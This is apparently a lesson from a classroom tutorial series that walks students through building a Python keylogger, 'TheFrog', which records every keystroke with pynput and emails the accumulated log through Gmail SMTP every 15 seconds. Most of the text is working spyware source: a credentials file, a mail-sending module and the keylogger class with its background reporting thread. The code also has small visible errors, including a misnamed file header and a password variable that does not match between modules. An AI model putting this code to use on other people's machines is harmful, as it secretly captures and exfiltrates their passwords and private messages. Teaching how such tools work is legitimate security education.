Part 6: Python Keylogger

Contents

Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

NOTE: pynput is supported in the latest version of Kali Linux. You must update Kali.

```
sudo apt update
# You may need to run this a couple of times until there are no more updates
sudo apt dist_upgrade -y
```

Gmail Credentials

The final step is to add the ability to email the logs.

1. Create a Python file named: **gmail_credentials.py**

2. Use the email account and password you created in the **Email with Python** assignment.

```
 1    #!/usr/bin/env python3
 2    """
 3        Name: gmail_credentials.py
 4        Author:
 5        Created:
 6        Purpose: Credentials to send email through Python using Gmail
 7    """
 8
 9    SMTP_SERVER = "smtp.gmail.com"
10    # Secure SMTP port
11    PORT = 587
12
13    #---------- REPLACE WITH YOUR INFORMATION -----------#
14
15    LOGIN = "youremailaddress@gmail.com"
16    APP_PASSWORD = "yourapppassword"
17
18    EMAIL_SRC = "youremailaddress@gmail.com"
19    EMAIL_DST = "youremailaddress@gmail.com"
```

Send Mail

1. Create a Python file named **send_mail.py**

```python
#!/usr/bin/env python3
"""
    Name: semd_mail.py
    Author:
    Created:
    Purpose: Send a email message
"""
import smtplib
import ssl
import gmail_credentials as gc


# --------------------------- SEND EMAIL ----------------------
def send_mail(message):
    """Send an email message"""
    # Set email server object
    server = smtplib.SMTP(gc.SMTP_SERVER, gc.PORT)

    # Don't show all communication with the server
    server.set_debuglevel(False)

    # Create a secure SSL context
    context = ssl.create_default_context()

    try:
        # Start an encrypted TLS session
        server.starttls(context=context)

        # Login to the mail server
        server.login(gc.LOGIN, gc.PASSWORD)

        # Send the email message
        server.sendmail(gc.EMAIL_SRC, gc.EMAIL_DST, message)

        print("Email message successfully sent.")
    except Exception as e:
        print(e)

    finally:
        # Quit from server
        quit_results = server.quit()
        # For email connection feedback only
        print(quit_results)
```

Frog 6

1. Save **frog_5.py** as **frog_6.py**

2. Import the **send_mail** module.

```
1    #!/usr/bin/env python3
2    """
3    Name: frog_6.py
4    Author:
5    Created:
6    Purpose: Class to capture keystrokes, email to user
7    """
8    # Windows: pip install pynput
9    # Linux: sudo apt install python3-pynput
10   from pynput import keyboard
11   from threading import Thread
12   from time import sleep
13   from send_mail import send_mail
```

2. Add a self.interval variable to control how often the report is logged and sent.

```python
16    class TheFrog:
17        def __init__(self):
18            # Log variable
19            self.log = "Keylogger started"
20
21            # How often the report is sent in seconds
22            self.interval = 15
23
24            # Flag to control the reporting thread
25            self.running = True
26
27            # Start reporting background process on a separate thread
28            self.start_report()
29
30            # Create a keyboard listener object
31            # Listen for keyboard on_press event
32            # When a key is pressed,
33            # call process_key_press function
34            keyboard_listener = keyboard.Listener(on_press=self.process_key_press)
35
36            # Repeat the keyboard listener
37            with keyboard_listener:
38                # Start keyboard listener on separate thread
39                keyboard_listener.join()
```

```python
73        # ------------------------- REPORT ----------------------------------- #
74        def report(self):
75            """Send log by email, or save to file"""
76            while self.running:
77                # Print log to console for testing
78                # print(self.log)
79
80                # Save log to a text file
81                self.log_to_file()
82
83                # \n\n prevents the log from being in the subject of the message
84                send_mail("\n\n" + self.log)
85
86                # Clear the log
87                self.log = ""
88
89                # Wait for interval seconds before the next report
90                sleep(self.interval)
```

All files must be in the same folder. You can type anywhere on your computer. Each keystroke will be logged. The log will be emailed to you every 15 seconds for testing.

Linux

Change to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 frog_6.py

Assignment Submission

1. Attach all program files.

2. Attach a screenshot from Windows and Linux of your results.

3. Submit the assignment in BlackBoard.